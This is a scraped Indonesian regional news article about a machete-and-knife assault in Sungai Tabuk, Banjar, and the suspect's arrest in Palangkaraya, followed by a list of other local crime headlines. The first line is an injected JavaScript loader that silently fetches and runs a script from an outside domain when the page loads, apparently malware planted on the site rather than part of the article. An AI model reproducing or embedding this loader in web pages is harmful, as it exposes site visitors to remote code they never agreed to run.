(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Lukai AG Pakai Sajam, MI Ditangkap di Palangkaraya Dibawa ke Mapolsek Sungai Tabuk


KANALKALIMANTAN.COM, MARTAPURA – Penganiayaan yang melibatkan MI dan AG pada Minggu (29/10/2023) pukul 18.30 Wita, di Komplek Permata Raya Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar, akhirnya dibekuk.

Kasi Humas Polres Banjar, AKP H Suwarji mengatakan, kejadian berawal dari MI bersama dua temannya pergi ke rumah AG dan setiba di depan rumah AG, MI mengeluarkan sebilah senjata tajam berupa parang dari dalam celananya dan menebaskannya ke arah tangan kiri saksi 1 yang menyebabkan luka gores, sambil berteriak memanggil nama AG.

Tidak lama kemudian AG keluar dari dalam rumahnya, namun MI langsung menyambangi dan memukul dada AG satu kali. Kemudian MI mengeluarkan senjata tajam berupa pisau dapur ditodongkan dan menusukkannya ke arah wajah AG mengakibatkan luka robek pada wajah di pipi bagian kiri. Saksi lainnya keluar dari dalam rumah dan MI bergegas melarikan diri menggunakan sepeda motor. AG segera dibawa ke Puskesmas untuk mendapatkan penanganan medis.

Baca juga: Tiga Lelaki Rudapaksa MY di Pantai Aluh Bulan Kotabaru

“Kejadian ini dilaporkan ke Polsek Sungai Tabuk untuk proses hukum lebih lanjut. Tindakan MI terhadap AG dipicu oleh kesalahpahaman dalam menerima informasi dari seorang teman perempuannya,” ujarnya

Tidak membutuhkan waktu yang lama, Unit Reskrim Polsek Sungai Tabuk dan Resmob Polres Banjar segera melakukan penyelidikan. Diketahui MI sedang berada di Palangkaraya, Kalimantan Tengah. Tim gabungan berangkat ke tempat pelarian MI dengan dukungan Unit Jatanras Polresta Palangkaraya dan Resmob Polda Kalteng. Tersangka MI berhasil diamankan pada Rabu (1/11/2023) pukul 23.30 Wita.

Tersangka MI dan barang bukti berupa senjata tajam jenis parang dan pisau dapur yang digunakan dalam tindakan kekerasan terhadap AG berhasil ditemukan.

Baca juga: Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta

Sebelumnya barang bukti tersebut dibuang oleh MI saat sedang melarikan diri di Komplek Permata Raya Desa Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar.

Tersangka beserta barang bukti kemudian dibawa ke Polsek Sungai Tabuk untuk proses hukum lebih lanjut. Kasus ini akan terus diproses sesuai dengan hukum yang berlaku,” tutupnya. (Kanalkalimantan.com/nh)

Reporter: nh
Editor: bie


Risa

Recent Posts

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

11 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

13 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

15 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

2 hari ago

This website uses cookies.